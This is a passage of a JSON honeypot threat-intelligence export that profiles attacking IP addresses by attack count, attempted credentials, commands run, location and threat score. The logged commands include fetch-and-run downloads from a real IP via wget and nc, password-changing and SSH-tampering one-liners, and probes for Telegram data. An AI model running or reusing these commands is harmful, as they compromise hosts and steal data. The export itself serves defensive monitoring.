        "busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &",
        "echo -e GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n | nc 31.57.129.10 80 | sed 1,/^$/d",
        "echo -e GET /bins/kaf.sh HTTP/1.0rnHost: 31.57.129.10rnrn | nc 31.57.129.10 80 | sed 1,/^$/d"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.session.file_download",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 210718,
      "as_org": "Five Cyber Host Security S.r.l.",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1023,
        "days_active_30d": 3,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-08T21:02:37+00:00",
        "last_seen_30d": "2026-05-10T12:34:43.315000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 626,
        "Honeytrap": 246,
        "Cowrie": 126,
        "Tanner": 11,
        "Adbhoney": 8,
        "Dionaea": 4,
        "H0neytr4p": 2
      }
    },
    "51.68.103.106": {
      "attack_count": 120,
      "first_seen": "2026-05-11T09:44:38.836Z",
      "last_seen": "2026-05-31T05:58:52.582Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:44:38.836000+00:00",
        "last_seen_30d": "2026-05-31T05:59:54.912000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "187.174.238.116": {
      "attack_count": 119,
      "first_seen": "2026-05-21T21:38:26.773Z",
      "last_seen": "2026-05-21T22:12:15.354Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nicolas",
        "345gs5662d34",
        "core",
        "ftp1",
        "noreply"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456.",
        "Aaa123123",
        "P@ssW0rd",
        "Qq123456789.",
        "Qwe12345",
        "core",
        "ftp1",
        "linode123",
        "nicolas",
        "noreply"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nicolas\\nuQBL7XlR5zoM\\nuQBL7XlR5zoM\\n\"|passwd",
        "echo -e \"nicolas\\nuQBL7XlR5zoM\\nuQBL7XlR5zoM\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "\u00c1lvaro Obreg\u00f3n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:38:26.773000+00:00",
        "last_seen_30d": "2026-05-21T22:13:15.924000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "49.213.157.88": {
      "attack_count": 118,
      "first_seen": "2026-05-22T09:57:15.006Z",
      "last_seen": "2026-05-22T20:23:23.821Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 18049,
      "as_org": "Taiwan Infrastructure Network Technologie",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:57:15.006000+00:00",
        "last_seen_30d": "2026-05-22T20:24:30.964000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 59
      }
    },
    "42.100.60.214": {
      "attack_count": 116,
      "first_seen": "2026-05-19T11:12:55.200Z",
      "last_seen": "2026-05-19T17:56:21.827Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:12:55.200000+00:00",
        "last_seen_30d": "2026-05-19T17:57:31.234000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 66
      }
    },
    "175.107.197.44": {
      "attack_count": 108,
      "first_seen": "2026-05-08T15:52:56.379Z",
      "last_seen": "2026-05-30T20:53:02.737Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 24440,
      "as_org": "Cyber Internet Services Pakistan",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:52:56.379000+00:00",
        "last_seen_30d": "2026-05-30T20:54:12.275000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "45.43.45.254": {
      "attack_count": 102,
      "first_seen": "2026-05-05T00:06:11.813Z",
      "last_seen": "2026-05-31T16:57:48.457Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:06:11.813000+00:00",
        "last_seen_30d": "2026-05-31T16:58:49.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "176.65.131.189": {
      "attack_count": 90,
      "first_seen": "2026-05-08T10:31:09.821Z",
      "last_seen": "2026-05-31T02:04:57.733Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:31:09.821000+00:00",
        "last_seen_30d": "2026-05-31T02:06:01.952000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "138.124.85.214": {
      "attack_count": 84,
      "first_seen": "2026-05-24T07:28:23.693Z",
      "last_seen": "2026-05-24T07:59:32.608Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "im",
        "practicas",
        "root",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "1234567890",
        "3245gs5662d34",
        "Aa123!@#",
        "practicas"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\ngfp35zyluyDA\\ngfp35zyluyDA\\n\"|passwd",
        "echo -e \"123456\\ngfp35zyluyDA\\ngfp35zyluyDA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:28:23.693000+00:00",
        "last_seen_30d": "2026-05-24T08:00:39.012000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 14
      }
    },
    "178.124.222.220": {
      "attack_count": 56,
      "first_seen": "2026-05-23T08:03:41.349Z",
      "last_seen": "2026-05-23T14:01:58.670Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:03:41.349000+00:00",
        "last_seen_30d": "2026-05-23T14:03:01.377000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 28
      }
    },
    "185.255.100.250": {
      "attack_count": 48,
      "first_seen": "2026-05-09T20:44:38.570Z",
      "last_seen": "2026-05-31T15:25:34.343Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T20:44:38.570000+00:00",
        "last_seen_30d": "2026-05-31T15:26:44.466000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "77.52.17.37": {
      "attack_count": 48,
      "first_seen": "2026-05-11T10:04:37.502Z",
      "last_seen": "2026-05-11T10:25:47.239Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Shyroke",
      "asn": 21497,
      "as_org": "PrJSC VF UKRAINE",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:04:37.502000+00:00",
        "last_seen_30d": "2026-05-11T10:33:00.001000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "91.208.184.128": {
      "attack_count": 36,
      "first_seen": "2026-05-13T19:17:07.001Z",
      "last_seen": "2026-05-31T19:33:47.091Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:17:07.001000+00:00",
        "last_seen_30d": "2026-05-31T19:34:56.067000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "95.220.204.16": {
      "attack_count": 36,
      "first_seen": "2026-05-05T19:36:30.595Z",
      "last_seen": "2026-05-05T19:38:38.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 12714,
      "as_org": "PJSC MegaFon",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:36:30.595000+00:00",
        "last_seen_30d": "2026-05-05T19:39:43.637000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "58.47.104.8": {
      "attack_count": 32,
      "first_seen": "2026-05-22T20:38:05.024Z",
      "last_seen": "2026-05-23T09:19:54.354Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:38:05.024000+00:00",
        "last_seen_30d": "2026-05-23T09:21:02.600000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "166.62.42.127": {
      "attack_count": 30,
      "first_seen": "2026-05-31T03:01:19.286Z",
      "last_seen": "2026-05-31T06:45:55.904Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T03:01:19.286000+00:00",
        "last_seen_30d": "2026-05-31T06:47:04.562000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 28
      }
    },
    "92.41.28.237": {
      "attack_count": 28,
      "first_seen": "2026-05-21T07:59:14.535Z",
      "last_seen": "2026-05-21T18:31:47.391Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Gosport",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:59:14.535000+00:00",
        "last_seen_30d": "2026-05-21T18:32:51.778000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "101.126.4.215": {
      "attack_count": 25,
      "first_seen": "2026-05-13T14:52:45.219Z",
      "last_seen": "2026-05-13T14:53:04.935Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "123456",
        "Aa112211.",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T11:34:32.778000+00:00",
        "last_seen_30d": "2026-05-13T14:54:14.821000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14,
        "ConPot": 2
      }
    },
    "86.53.186.162": {
      "attack_count": 25,
      "first_seen": "2026-05-20T03:10:04.126Z",
      "last_seen": "2026-05-20T03:15:57.263Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Camden",
      "asn": 3257,
      "as_org": "GTT Communications Inc.",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:10:04.126000+00:00",
        "last_seen_30d": "2026-05-20T03:17:06.308000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "108.181.12.167": {
      "attack_count": 24,
      "first_seen": "2026-05-05T02:03:28.985Z",
      "last_seen": "2026-05-28T02:51:28.361Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:03:28.985000+00:00",
        "last_seen_30d": "2026-05-28T02:52:34.266000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 15
      }
    },
    "188.245.153.67": {
      "attack_count": 23,
      "first_seen": "2026-05-29T15:34:46.486Z",
      "last_seen": "2026-05-29T15:34:54.506Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:34:46.486000+00:00",
        "last_seen_30d": "2026-05-29T15:36:01.329000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "115.190.152.15": {
      "attack_count": 20,
      "first_seen": "2026-05-20T14:35:50.920Z",
      "last_seen": "2026-05-20T14:36:03.286Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "Aa112211.",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:35:50.920000+00:00",
        "last_seen_30d": "2026-05-20T14:37:07.769000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "117.50.152.101": {
      "attack_count": 20,
      "first_seen": "2026-05-26T06:45:34.593Z",
      "last_seen": "2026-05-26T06:45:44.161Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "linux123",
        "warnightkardesim"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T06:45:34.593000+00:00",
